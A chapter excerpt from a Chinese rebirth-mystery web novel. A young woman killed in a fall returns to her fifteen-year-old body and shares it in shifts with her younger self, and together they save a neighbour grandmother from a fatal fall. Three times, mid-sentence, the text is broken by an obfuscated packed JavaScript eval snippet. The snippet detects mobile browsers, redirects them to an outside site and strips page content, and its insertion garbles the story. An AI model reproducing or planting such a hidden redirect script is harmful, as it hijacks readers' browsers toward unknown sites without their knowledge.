《我与我的未知之事[重生悬疑]》 1. 重生……了一半? 重生,但…… 坠亡后,温流照重生了。 书桌上摆着台历,现在是中考结束的第三天,下午六点整。 此时她父母健全,万事顺遂。 温流照端起桌上的镜子,镜中的脸青涩稚嫩,没有黑眼圈,也没有眉间纹。 得知自己重生,温流照做的第一件事就是找自己的父母。 她猛地拉开房门,门前正巧路过一个寸头中年男人,男人被她开门的动静吓了一跳。 “老温……” 这个称呼一叫出口,温流照就哭了。十年,老温已经死去十年了。 眼泪止不住地流,模糊了视野。 “怎、怎么了这是?好端端的哭啥呢?”老温慌了,印象里他难得这么慌乱。 流照模模糊糊地看见老温手足无措地跑去拿纸巾,秦女士在厨房切菜,她有些奇怪地问:“怎么了?” 老温跑过去在她耳边小声说了什么,秦女士面色凝重,洗了手和老温火急火燎地赶到温流照身边。 温流照哭着抱住了他们,像一艘海上漂泊已久的船只,终于找到了停靠的海湾,她哭得像个呱呱落地的婴儿。 爸爸妈妈,我好想你们。 温流照想这样说,可她呜咽了几声,说不出话,人在情绪激动的时候往往很难说出完整的话。 夫妻二人都搞不懂女儿为什么突然泣不成声,还死命抱着他们不放,他们只是轻轻地拍拍女儿的背,默默陪着女儿。 良久,温流照哭累了,哭哑了,才松开他们。 她没有解释自己为什么哭,老温和秦女士也没有询问,他们只是默默陪着温流照。 秦女士不会安慰人,她只是双手握住温流照的一只手,暖暖的,像一个小小的拥抱。 秦女士一直握着温流照的手,直到看到她情绪稳定下来,才放心回厨房炒菜。 老温继续陪温流照坐着,父女俩坐在一起,谁也没有说话,电视里放着新闻联播,女主播的声音一如既往的沉稳。 秦女士手脚麻利地炒好菜,和往常的每一个傍晚一样,他们一家三口围在餐桌前享用晚餐。 秦女士喜欢给家人做饭,然后一家人坐在一起吃的感觉。她的厨艺很好,牛肉滑嫩鲜美,鲈鱼蒸得恰到好处,温流照吃着吃着,几欲落泪都生生憋住了。 这个傍晚很平常,它只是温流照过往生活的一角,却是她后来再也找不回来的幸福。 餐毕,老温收拾碗筷,秦女士坐在沙发上看新闻,画面温馨而祥和。温流照出神地看了一会,随后坚定地转身回屋。 温流照从书架上拿了一本崭新的笔记本,按照时间顺序,列出了四件对她的人生有重大影响的事件。 在首页写下四个事件的梗概后,温流照静静看着那四个事件。 简简单单的几十个字,却是她一生中最沉痛的回忆。 温流照注视着日期最近的事件一。 事件一:邻居花奶奶坠亡。 明天下午六点,花奶奶会在下楼梯时不慎摔倒离世。 花奶奶是个热情随和的老太太,她有三个儿子,一个女儿,现在住在小儿子的家里,也就是温流照的对门。 他们一家住在那里很多年了,花奶奶几乎是看着温流照长大的。 花奶奶很喜欢温流照,温流照也很喜欢花奶奶。 温流照一个人在家时,她会敲响花奶奶的家门,只需等上几分钟,就会有位满头白发的耄耋老人给她开门。 一开门,老人干橘皮一样的脸会绽开一个笑容,枯木一样粗糙的手会轻柔地牵住温流照的手,走进开着暖黄色灯光的小屋。 老人会拿出自己做的小零食给温流照,那些小零食通常只有一个温流照听不懂的方言名字。 温流照一边吃,一边给花奶奶讲学校里的趣事,说到好笑的地方时,老人家笑得前仰后合。 花奶奶笑,温流照也跟着笑,一老一少乐开了花。 温流照是第一个发现花奶奶摔下楼的。 救护车来得很快,但还是晚了,老人家年事已高,医护人员尽全力也没能抢救回来。 花奶奶摔下楼时惊恐的脸一直在温流照脑海中,挥之不去。老温安慰她,说她尽力了,生老病死是避免不了的事。 温流照知道,可她还是很懊悔,要是早一点,再早一点,事情就不会发生。 现在,她终于如愿以偿回到过去,得到改变一切的机会。 这一次,温流照要救下所有她爱的和爱她的人。 温流照一夜未眠,她伏于案前奋笔疾书,想趁着刚重生记忆还清晰,记下那四个事件相关的记忆。 离开校园后,她已经很久没有写过这么久的字了。 写到一半时手累得厉害,她甩两下手,接着写。 清晨的阳光透过云层投射在尚未苏醒的大地上时,她握着笔险些睡着。 桌上的小型电子闹钟发出“嘀——”的一声轻响,六点了。 “好困……” 温流照伸了个懒腰,小拇指外侧擦了很多笔墨,已经完全擦黑了。 温流照“啪啪”两下把自己拍清醒了,还有一些,写完再睡。她重新抓起笔,食指和拇指夹起水性笔,随后又任其落下。 她好像抓不住笔了。 怎么回事?是太累了吗? 温流照的身体像个被剪断所有绳子的牵线木偶,没了力气,软绵绵地瘫在椅子上。 温流照意识到不对劲,一种诡异的,灵魂出窍般的感觉袭来,脑中兀地响起嘶嘶的电流声,就像信号不好的老旧电视雪花屏时的声音。 【??】:尝……败……重…… 那声音断断续续的,还混合着电流声,温流照感觉头疼得厉害,根本听不清那声音在说什么。 大约半分钟后,那声音逐渐清晰,温流照终于听清了。 【系统】:重生系统出现故障,即将进入逆转空间…… 什么系统?什么空间? 温流照听清了,但是没听懂。 她头疼得要炸了,没心思管那莫名其妙的声音。 几秒钟后,疼痛兀地消失了,连带着一起消失的还有自己的房间。 温流照疑惑地四下打量,四周黑洞洞的,没有生命体,没有色彩,也没有边界,什么也没有。 温流照愣愣地看着自己的手脚,只有她一个生命体存在于这片空间,也只有她有颜色。 温流照站在这片虚无之中,就像黑色画布上的彩绘小人。 这里就是刚刚系统说的“逆转空间”? 系统故障又是怎么回事? 好似为了解答她的疑惑,脑中再次响起冷冰冰的机械音,这次声音更加平稳,能听出是个青年女性的声音。 【系统】:宿主您好,由于系统故障,您每天只有12小时的重生时间,未来您将与过去的您轮流掌控身体。 系统的话很简短,也很重磅。 什么叫“和过去的自己轮流掌管身体”? 【系统】:6:00-18:00为从前的您掌控身体,18:00-次日6:00为现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904000|176769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的您掌控身体。 系统还在解释,温流照出声打断:“我先问一下,身体是不能二十四小时都醒着的吧?” 【系统】:是的。 “也就是说,为了十五岁的我的身体健康着想,我一天大约只能操控身体四个小时?” 温流照挑眉,语气有些不悦。 重生,但重生了一半。 【系统】:理论上您每天有十二个小时重生时间,您可以通过与过去的自己协商,在6:00-18:00之间掌控身体。 “协商?”温流照语气上扬,有了一些猜测。 【系统】:是的,我们为您开启了逆转空间的使用权限。这个空间相当于您的休息室,您可以邀请过去的您进入这片空间,也可以凭借想象随意改变这个空间。 和十五岁的自己见面?可随意改变的空间? 这条件……好像不赖? 温流照摸着下巴,约莫半分钟后,她打了个响指。 “好,我要和小温见面。” …… 小温一睁眼就发现自己坐在书桌前,桌上摊着本笔记本。 笔记本上的油墨很新鲜,她小指外侧的油墨也很新鲜。 她抱着头,头很痛,好像有人拿个针筒扎破她的头皮,往她脑子里打药。 胀痛感让她的五官皱成一团,脑中走马灯一样播放着昨晚的记忆。 她想起自己抱着父母大哭一场,然后坐在桌前写了一夜的笔记,但是想不起来为什么要这么做。 很奇怪的感觉,你知道自己做了某样事情,但是不知道自己为什么这么做,就好像有另一个人暂时操控了你的身体。 鬼附身? 小温缓了好一会儿才缓过来,她翻开书桌上的笔记本,扉页用黑色水性笔写着“已知之事”四个大字。 她认得这是自己的字迹,只是更加成熟。她的眉头紧皱,继续再往后翻,首页写了四个事件。 事件一:邻居花奶奶坠亡 事件二:老温科考溺亡 事件三:好友徐幼盈被杀 事件四:秦女士失踪 “好友徐幼盈……徐幼盈是谁?” 小温蹙眉看着事件三,她根本不认识徐幼盈,更别说成为好朋友了。 她往后翻了翻,每一个事件都写出了涉及人员和事件的起因后果,还列出了详细的应对方案,逻辑通畅,条理清晰,不像是编的。 小温愈发疑惑了,难道这些都是未来会发生的事吗? 写下这些内容的是谁? 是未来的她吗? 小温脑子里闪过很多电视小说的情节,什么被另一个自己取代或者夺舍啊,重生或者穿越啊,乱七八糟的故事在她脑子里跑了一遍。 小温的眼皮越来越沉,她平时作息规律,晚上十点就睡,别说通宵,她几乎没熬过夜。 一夜未眠让她的脑子不太灵光,纵使心中还有诸多疑问,她还是决定先睡觉。 小温爬上床,她太困了,脑袋一粘枕头就睡着了。 不知是通宵过于疲惫,还是怪事接二连三发生让她有些疑神疑鬼,小温做了一个奇怪的梦。 她梦见一个纯黑的空间,这里没有光,更没有人,好像整个世界只剩下她一个存在了。 小温在这个奇怪的空间里奔跑,想看看边界在哪,跑了很久也没有看到疑似边界的东西。 她接着跑,跑啊跑,不知道跑了多久,终于看见了一扇纯黑色的门。 小温毫不犹豫地推开了那扇门。 2. 与“我”的初相遇 漆黑的小门缓缓打开,门内站着一个二十五岁左右的女人,她长得比小温高一些,大约高了两三厘米,很瘦,纸一样轻飘飘的感觉,眉间的皱纹很深,像是刀刻上去的。 女人身后是一个黑漆漆的房间,只有零星几件家具,家具的形态有些古怪,歪七八扭的,像一个初学者的失败作。 “哟,终于见面了,小温同学。” 女人招招手,笑嘻嘻地和小温打招呼,就像见一个多年未见的普通老友。 小温连退几步,满脸写着惊恐。 见鬼了,这人长得跟她好像。 女人看到小温这反应似乎有些苦恼,她拍拍手,空中显现出一个蓝色圆环,圆环中央有一条直线。 “你来解释吧。” 女人挥挥手,在小温惊恐的目光中,蓝色圆环说话了,是一个没有感情的机械女音。 “您好,小宿主,我是重生系统,您眼前的这位是十年后的您。” 蓝色圆环说话时,中央的直线会随音量起伏,它冷静地和小温讲述事情的起因结果,顺便还介绍了逆转空间的功能。 进入逆转空间的人皆为魂体,空间的主人可以凭借自己的想象获得除生命体以外的所有物品,也可以随意捏造一个背离常识的世界。 简单来说就是想要什么要什么,想干什么干什么,只有想不到没有做不到。 当然,这个功能只能在逆转空间使用,无法干预现实。 “你真的是十年后的我?”小温听罢,仍有些不敢确定。 女人看起来可不止比小温大十岁。 “是,你可以叫我大温,写下那本笔记的就是我。” 提起笔记本,小温默了默,她还记得那四个事件,每一件都触目惊心。 大温屏退系统,蓝色圆环消失,她自顾自地坐到那凹凸不平的沙发上。她还不太习惯操控想象力,因此这里零星的几件家具全都怪模怪样的。 大温从兜里掏出烟和打火机,上一世因为压力太大,她学会了抽烟喝酒。她熟练地抖了两下烟盒,想起这里还有小温这个未成年,又默默把那根冒头的香烟按了回去。 “给你讲个故事吧,一个很长的故事。”大温靠在沙发背上,开始讲述一个长达十年的故事。 故事里,一个原本泡在爱中长大的少女逐步失去自己的至亲好友,从一个活力四射的中二少女,变成一个暮气沉沉的青年。 十年间,她遇到了很多好人,也遇到了很多坏人。 她失去了她爱的人和爱她的人,最终,她在一个阴雨天被人从天台上推下,重回十年前,一切噩梦尚未开始时。 大温的故事讲完后,小温沉默了很久。 大温也没再说话,好像讲述这个故事已经抽干了她的精力。 大约三分钟后,小温轻轻抱住了大温,抱住了这个疲惫的自己。 “这么多年以来辛苦你了,大温。”小温的声音带着些许哭腔,她与大温本就是同一人,听了大温的故事也感同身受。 大温的眼睛微微睁大,复杂的情绪在其中翻涌。 这个跨越时空的拥抱只持续了几秒钟,小温松手,二人沉默地坐在沙发上,仿佛都在消化那个故事。 良久,大温率先开口:“先听听我的计划吧?” 小温点头,系统说逆转空间和外界时间流速一致,距离第一个事件只剩几个小时,没有太多时间容她们伤春悲秋。 计划很简单,小温先以“帮花奶奶按摩”为由,拜访花奶奶家,如果花奶奶要出门,尽量阻止,阻止不了就陪同。 逆转空间内可以正常使用外界的网络,大温会在这边登陆一个不常用的小号,有需要时小温可以通过手机和大温联络。 确定行动计划后,小温醒了。 小温不太习惯熬夜,一觉睡到下午,醒来时还有点分不清白天黑夜。 她去厕所洗了把脸,微凉的水打在脸上,清醒了许多。 手机“叮咚”一声响,是大温的好友申请,昵称很直白,就叫“大温”。 小温通过好友申请,大温发来了一个加油打气的表情包。 小温微微一笑,她好像多了一个朋友,这个朋友是另一个自己。 洗漱完发现桌上的留着一张纸条,是老温的字迹。 上边写着:冰箱里有绿豆粥。 老温估计是看到小温还在睡,不想叫醒她,又怕她睡醒了会饿,就留了绿豆粥在冰箱里。 小温从冰箱保鲜层拿出绿豆粥,冰冰的,夏天吃正合适。 …… 17:23,小温敲响了花奶奶的家门。 门很快开了,开门的是一个丰腴的中年妇女,年纪比秦女士大一些,盘发,眉毛是纹上去的。 女人是花奶奶的儿媳,姓黄。 两家人长年做邻居,早就混熟了,黄阿姨一见是小温,连忙笑着把她迎进门。 “哎呦,小照怎么来了?吃饭了吗?” “还没呢黄阿姨,我爸妈今晚要很晚才回来。” 小温熟门熟路地进屋,她一边往里走,一边四下搜寻花奶奶的身影。 “花奶奶在家吗?我前几天刚学了按摩,想给奶奶露两手。”小温问道。 大温说花奶奶是下午六点左右下楼时摔的,那么她这个时间应该在家。 “不巧咯,老妈出门了还没回来。” “诶?”小温的脚步顿住。 花奶奶出门了? 花奶奶年纪大了,上下楼费劲,不可能无缘无故在短时间内上楼又下楼。 现在已经17:24了,如果花奶奶是18:00左右摔倒的,那她究竟是下楼摔倒的,还是……上楼摔倒的? “要不你在咱家吃个晚饭好了,阿姨正好学了新菜,也给你露两手。”黄阿姨说着,撸起袖子就要走进厨房。 小温一把抓住黄阿姨的手,语气急促:“黄阿姨,花奶奶有说她去哪了吗?” “啊?没说啊。”黄阿姨被小温突然的举动吓了一跳,有些茫然地看着小温。 小温眸色暗了暗,松开黄阿姨的手,转身夺门而出。 黄阿姨不知道小温怎么了,她愣了几秒钟才追出门。 黄阿姨两手扒着楼梯扶手,往下瞅了瞅,小温从小习武,此时健步如飞,早就跑没影了。 黄阿姨对着螺旋状的楼梯愣愣喊道:“哎,所以你晚上在咱家吃饭吗?” 小温没听见黄阿姨的问题,她三步并作两步跑到楼下,四周没有看到花奶奶的身影。 她掏出手机,给大温发消息。 【小温】:你确定花奶奶是下楼时摔的吗? 大温的消息回得很快,不知道是不是一直在等着小温 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904001|176769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的消息。 【大温】:我很确定。 【小温】:花奶奶现在不在家,她出门了。 “出门?” 逆转空间内,大温眉头深皱。 她看了看时间,17:28。 中考刚结束,花奶奶的孙子还没放假,儿子今天下班晚,现在只有黄阿姨在家。 上一世发现花奶奶摔倒后,大温立刻上前查看情况并拨打急救电话。 大温当时只是个孩子,不懂医疗知识,需要叫大人来帮忙,于是她冲上楼叫黄阿姨。 黄阿姨和大温一起急匆匆跑下楼,见到地上昏迷不醒的花奶奶时吓得手都哆嗦了。 黄阿姨说花奶奶才刚出门,她没想到花奶奶会摔倒,她很自责,说要是她陪着花奶奶出门就好了。 她一直记得黄阿姨的话,所以很确定花奶奶是下楼时摔倒的。 但她不知道更多的细节了,那时花奶奶的家人都沉浸在悲痛中,没人和她说具体的经过。 花奶奶能去哪里? “系统,能提供一点场外援助吗?”大温对着虚空问道。 【系统】:您没有权限。 系统拒绝了大温的请求。 大温只能自己想,她双手按在太阳穴上,死命思索可能的地点。 大约三分钟后,她在那些模糊的记忆里抓住了一个片段。 “这里什么时候长了这么多花?谁种的啊?” “不知道啊,小孩撒的吧,草都跟花一样高了。” 记忆里大温曾听见这样的一段对话,也曾看见过一个未完成的花圃。 花圃。 大温飞快打字。 【大温】:小区大门左转一百米。 小温收到消息后立刻动身,她记得那里,那里有一小块围起来的空地,原本打算做花圃的,后来不知为何闲置了。 小温跑出小区大门,一转头果然看到了一个灰白色的人影,是花奶奶,花奶奶还安然无恙。 小温松了口气,掏出手机给大温回消息。 【小温】:找到了。 收到消息的大温也松了口气,她仰躺在沙发上,用手腕遮住眼睛,有些想笑,又有些想哭。 上一世花奶奶去世后,那一片空地长出来许多花,五颜六色的花朵混杂在茂盛的杂草中间,说不上来的滑稽。 大温不知道那是谁种的,她也没心思去了解。 两个至亲之人接连离世,她受到了很大的打击,一度抑郁。 后来经过调理,大温逐渐摆脱了抑郁,但也忘记了那片未完成的花圃。 它被大温遗忘在记忆的角落,静静地蒙了尘。 如今大温才想起,她曾在闲聊时和花奶奶说起那块地的事,它本应成为一个漂亮的花圃,可惜最后人们抛弃了它。 它成了一片长满杂草的空地,一个无人问津的半成品。 “要是它能成为一个真的花圃就好了。”那时的大温这样感慨道。 花奶奶或许是听进去了,悄悄翻了土,撒了花种,想给大温一个惊喜。 只可惜,没等到花开,花奶奶就离世了,无人打理的花种长得稀稀拉拉的,和杂草争夺稀少的养料。 “奶奶……”大温很轻地对着虚空呼唤。 “奶奶!”小温大声呼唤着坐在石凳上的花奶奶。 3. 我亲爱的姑娘 听见熟悉的声音,花奶奶抬起头,只见一个高马尾的少女咻地一下跑到她跟前。 花奶奶缓缓起身,伸手扶住小温。 花奶奶的两颗门牙掉了一颗,说话有些漏风,她笑着慢慢说道:“慢点,慢点,怎么了我的姑娘?这么着急。” 大热天的,小温跑得有点急,脖颈上渗出一层薄汗。 小温注意到花奶奶放在一旁的小锄头,锄头上挂着泥土,石凳上放着一包花种,已经开封了,花种旁摆着一个装着水的矿泉水瓶,瓶盖上戳了几个小孔。 小温瞬间明白了花奶奶出门的原因。 小温心里暖暖的,有位老人记住了她随口说的话,想在她上学的必经之路上做一个小花圃。 “奶奶,你怎么瞒着我们自己跑出来种花。 “哎呀,被发现啦。”花奶奶温和地笑着,并没有被戳穿的慌乱,“本来想在你考完试回家之前做好,给你一个惊喜的,可惜没来得及。” “奶奶,以后你有什么事都不要瞒着我了,我好担心你,我怕你在外边磕了碰了,怕你……”小温没能说下去,她垂下眸子,像只情绪低落的小动物。 花奶奶伸出枯树枝一样的手,慢慢抚摸着小温的小臂,她动作轻柔,就像在安抚一只小动物。 “没事的,没事的,我走得很慢,不会出事的。” 在大温出现之前,小温确实没有想过花奶奶会出事,就像从没想过太阳有一天会熄灭一样。 大温告诉小温,人的生命就像一个彩虹泡泡,很美丽,也很容易破碎。 所有人,包括自己都是如此。 “奶奶……” “嘘——”小温还想说什么,被花奶奶打断了。 老人家好像已经知道了她想说什么,她眯着眼,摇了摇头,示意小温不用说了。 花奶奶抓住小温的手腕,将她的手转过来,在手心里留下了什么。 “毕业快乐,我的姑娘。” 花奶奶的手移开了,一朵白色的小花静静躺在小温手心。 “我希望你幸福、快乐,我亲爱的姑娘,不用为我担心,我已经活得足够圆满了。” 小温看着那朵小花,眼眶渐渐湿润。 这是一朵随处可见的野花,小温不知道它的名字,只知道它很廉价,通常被人们称为杂草。 但现在它承载了一位长辈对晚辈的衷心祝愿,代表了一份弥足珍贵的爱。 小温忍住了眼泪,模模糊糊地“嗯”了一声。 她把小白花收好,吸了吸鼻子,说道:“奶奶,我来帮你吧,种完花我们就一起回家。” …… 将近六点时,小温送花奶奶上楼,危险时间还没结束,她要亲眼看着花奶奶打开家门走进去才安心。 花奶奶不疾不徐地打开家门走进去,小温稍稍放心,转身想回家把小白花放好。 突然注意到隔壁那户人家的家门开着一条缝,一只眼睛透过门缝静静看着她。 小温吓得汗毛直立,那只眼睛的位置很矮,是个小孩的。 这栋居民楼一层有四户人家,花奶奶是对门,小温家右边还有一户。 小温记得这家人是一对感情不合的夫妻,三天两头吵架,有时吵得凶了,整栋楼都能听见。 小温小时候还被他们吵架的声音吓到过,老温曾委婉地提醒过他们,他们安静几天又吵起来了。 这户家人有一对儿女,女儿已经大学,儿子只有八九岁大,这只眼睛的位置较矮,应该就是他们儿子的。 对上目光后,那个小孩悄无声息跑回屋了。 可能是因为家庭原因,这个小儿子性格怪得很,经常默不作声盯着别人看,小温不止一次被这小孩吓到了。 小温掏出钥匙打开家门,把花奶奶送的小白花夹在书里放好,走向玄关。 小温的手搭在门把手上,熟悉的抽离感袭来,下午六点了。 大温按时上线了,头疼也按时来了,她握着门把手缓了一会。 记忆的读取是强制性的,只要大温小温中的一方接替另一方控制身体,就会在“交班”后立刻接收身体里的记忆。 这个过程就像是打针,把本不属于自己的东西输进来,难免会有疼痛感。 等到疼痛渐缓,大温握着门把手的手往下一压,打开了家门。她走出家门,首先看向隔壁那户人家的家门。 黑色的防盗门紧闭,那个小孩把门关上了。 大温对这个小孩没什么好印象,整天神出鬼没的,和他搭话也一声不吭,跟个不会说话的木偶一样,瘆得慌。 大温耸耸肩,抖掉手臂上的鸡皮疙瘩。花奶奶的家门虚掩着,应该是花奶奶特意留了门,大温站在门前,有些恍惚。 在大温的世界里,这扇门很多年都没有向她打开了。 她盯着大门上倒贴的福字,几秒钟后,她推开了花奶奶的家门。 深棕色的木质防盗门缓缓打开,露出玄关处的鞋架,鞋架上整齐码放了各种各样的鞋,有大有小,放得满满当当。 站在玄关处能看到半个餐桌,黄阿姨在炒菜,锅铲翻动食材发出“嚓嚓”的响声,诱人的菜香从厨房蔓延到客厅。 花奶奶躺在在阳台的躺椅上小憩,竹编的躺椅轻轻晃着,像在摇晃婴儿的摇篮。 很温馨的画面。 大温走进屋,把门带上了。黄阿姨听见关门声,举着锅铲从厨房探出头来问道:“小照,今晚在咱家吃饭吧,刚和你爸妈打过招呼了。” “好~要帮忙吗?” “不用不用。”黄阿姨猛摇头,“你都好久没得空来咱家吃饭了,这顿必须我来做,让你瞧瞧我新学的手艺。” “好啊。”大温笑着回答,那是一个很放松的笑容。 黄阿姨说完就缩回厨房继续忙活了,大温站在原地环视了一圈。 电视机背后的墙上贴满了橙黄色的奖状,奖状上都是同一个名字——曲宏愿,这些奖状全都是花奶奶孙子的,从小学到高中。 电视机旁放着个很有年代感的红色暖水壶,上边写着个“囍”字,是花奶奶当年结婚时买的,几十年过去了还能用。 这个家的陈设都比较古朴,家具都是木的,就连沙发都是木质的,只是在上边垫了一层海绵垫。 待在这里会自然而然让人感到温馨舒适,大温吸了口气,全身都放松了。 大温搬了把木椅子坐在花奶奶身边,花奶奶微微睁眼,慈祥地看着她。 花奶奶知道大温又要和她分享学校里的趣事了,她秉持一位听众的美德,微笑着等大温开口。 大温挑了几件中考期间发生的事和花奶奶说,起初她还有些恍惚,这一切都像梦境一样,太不真实了。 大温说着说着,找回了以前和花奶奶聊天的感觉,越说越起劲。 大温说到她的班主任,一个大男人在最后一次班会上哭得稀里哗啦。说到有关系好的同学勾肩搭背,商量着报考哪个高中。说到年轻的英语老师羞怯地拿来一叠明信片发给每一位同学,每张明信片上都写着美好的祝愿。 说着说着一顿饭做成了,黄阿姨吆喝一声,开饭了,大温和花奶奶起身走向餐桌。 正欲坐下,玄关处传来钥匙插入锁孔的声音,一个提着公文包,面带疲惫的中年男人推门而入。 男人姓曲,是花奶奶的小儿子,黄阿姨的丈夫。 大温和曲叔叔打了个招呼,他点点头,就算是回应了。 曲叔叔还是这么沉默寡言。 “老曲,你回来得正好啊,刚好开饭。”黄阿姨招呼曲叔叔过来吃饭,曲叔叔放下公文包,洗了手,像平常一样坐到了黄阿姨身旁。 曲叔叔夹了一块红烧肉,黄阿姨一脸期待地看着他,等他咽下去后,黄阿姨问道:“怎样?” “好吃。”曲叔叔的回答很简洁,得到夸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904002|176769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奖的黄阿姨笑了,笑得很幸福。 曲叔叔不太会说话,和秦女士是一类人,做的事比说的话多。 听说曲叔叔是最孝敬花奶奶的一个儿子,花奶奶的老伴去世很久了,他看花奶奶一个人在乡下太孤单,工作稳定后马上就回老家把花奶奶接来身边。 花奶奶怕麻烦儿子,总想回去,黄阿姨好说歹说才把她留下。 一开始花奶奶很不习惯城市的生活,路上好多车,到处都是水泥地,家家户户都把门关得严严实实的,不像村里头可以随意串门。 花奶奶正不知道留在这里做什么好的时候,小时候的大温敲响了她的家门。 一个眼睛亮晶晶的小姑娘拿了一只腊鸭给花奶奶,小姑娘说那是外婆自己弄的,很好吃,想分给她。 花奶奶笑着收下了,她摸了摸小姑娘毛茸茸的脑袋,小姑娘很开心,猫儿一样露出满足的表情。 从此小姑娘开始叫她“花奶奶”,她找到了留在这里的乐趣。 就这样,花奶奶看着小姑娘长成大姑娘,花奶奶在小区里结识了许多老人,有时还会在楼下支个棚,一起打牌或是搓麻将。 花奶奶在这个小区里留下了很多回忆,花奶奶死后,这里每一处回忆都在提醒曲叔叔物是人非。 最后曲叔叔受不了了,他很抱歉地和大温说他要带着家人搬走了。 大温看着曲叔叔消瘦的脸,默默点头。 对门的房子卖了,住进了其他人家,那户人家很冷漠,不会对大温敞开家门。 大温再也没见过曲叔叔一家,曲叔叔切断了和这个城市所有人的联系,她不知道他们搬去了哪座城市。 如今再看到曲叔叔,有种恍如隔世感。 好吧,确实隔世了。 有黄阿姨在,这顿饭吃得热闹,一桌人边聊边吃。只可惜花奶奶的孙子还没放假,少了双碗筷,还不算最热闹。 饭后,曲叔叔在帮忙收拾碗筷,大温掏出手机看了看时间,19:37,远远超过了上一世花奶奶摔倒的时间。 她松了口气,成功了,她改变了已知的未来。 大温给小温发了个胜利的表情包,小温也回了个一样的表情包。小温在逆转空间里,用的是大温的账号,头像是个手舞足蹈的猫meme。 噗,有点好笑。 花奶奶拿了一团毛线坐在躺椅上织毛衣,她不会玩手机,也不大爱看电视,在家时闲得没事做会打毛衣。 “奶奶,我来帮你按摩吧。”大温还没有忘记本来的计划,撸起袖子走到花奶奶背后。 “好,好。”花奶奶笑眯眯地把毛线放好,躺在椅子上。 大温学过按摩,有段时间她在足浴中心上班,入职前专门培训过。不过她没干多久就跑了,手法不是特别娴熟。比起帮人洗脚,她更愿意去打拳。 至少拳击赛可以光明正大打人,虽然也会被打,但至少打爽了,不用生闷气。 直到快九点,大温才依依不舍地回家。 临走前她再次和花奶奶强调了出门时要小心,能找人陪就找人陪,花奶奶答应了,大温才放心离开。 老温和秦女士都已经到家,秦女士在洗澡,老温懒洋洋地瘫在沙发上看电视。 花奶奶已经得救,那么,接下来就是老温了。 大温深吸口气,走到老温身旁坐下。 上一世老温遇险的经过大温也只是知道个大概,据说是潜水考察时引导绳断裂,导致无法及时返回水面。 水下情况复杂,安全员下水搜救花了不少时间,最后只捞出了老温的尸体。 那根断裂的引导绳成了老温的遗物,夜里睡不着时,大温会反复摩挲那绳索的断裂处。 她一边摩挲一边想,要是能提前发现就好了。 现在她有机会了。 大温戳了戳老温,语气随意地问道:“老温老温,七月初的科考我能跟你一起去吗?” 4. 因为我们是家人 “可以啊。”老温答得也很随意。 这就答应了? 大温原本想好了一堆借口,例如锻炼身体、补充课外知识之类的,现在一句也没用上,她有些茫然地看着老温。 怎么不按常理出牌啊。 大温知道科考队是允许家属随行的,只不过要求比较严格,未成年需要监护人同意并承担风险与责任。 大温每天都有锻炼,身体方面完全没问题,掉水里不出意外的话还能自己游回来,理论上申请随行并不困难,不过老温答应得还是有些太快了。 是因为她昨天大哭了一场,老温才答应得那么爽快吗? 老温感觉到她的目光,手半掩住嘴,双目圆睁,露出一个很夸张的惊讶表情,问道:“难道我要拒绝几次再答应吗?” “不用,就是答应得太快了,有点陌生。”大温虚空一抓,假装握住话筒,递到老温嘴边,“采访一下,这位先生,你还是我爹吗?” “叫哥哥。”老温嬉皮笑脸。 “好的弟弟。”大温面不改色,将握着皇帝的话筒的手一转,对老温竖起中指。 老温回敬了她两个中指,大温也不逊色,追加了一个中指。 老温左右瞟了眼,自己只有两只手,数量上没法碾压大温,于是他把两只手怼到大温面前。 大温伸手撞开老温的手,父女俩的年龄加起来至少五十多了,此刻却像幼儿园的小朋友一样,举着手上上下下左左右右比划,谁也不肯让谁,直到最后两个人的手都举酸了才肯罢休。 老温:“我们换种方式一决胜负。” 大温笑笑:“好啊。” “来把五子棋,谁赢了谁是哥哥!”老温从茶几底下掏出落灰了的五子棋。 “来掰个手腕,谁赢了谁是弟弟!”大温胳膊肘往茶几上一杵。 二人几乎是同一时间动作,大温挑衅地看着老温,老温一拍手:“好!” 刚一说完就发现上当了,大温一个练家子,一身腱子肉,她有底气去挑战一个成年男性,这很正常。 老温的工作经常上山下海,体能在同龄人中算比较突出的,他有信心在掰手腕时赢过大温。 然而这就是陷阱,老温如果全力以赴赢过大温就上当了,赢的人才是弟弟。 “……个头!”老温硬生生把话头一转,睁大眼睛控诉,“哇你好心机啊温流照同学!差点上当了!” “老温你耍赖!明明说好的!” “没有,我说的就是‘好个头’。”仿佛是在给自己话增加可信度,老温语气严肃。 秦女士在浴室就听见了父女俩的声音,洗完澡打开浴室门,就见客厅里俩幼稚鬼闹成一团。 秦女士穿着纯白的冰丝睡衣,手里拿着条擦头发的毛巾,一边侧头擦拭长发上的水,一边向沙发上的老温走来。 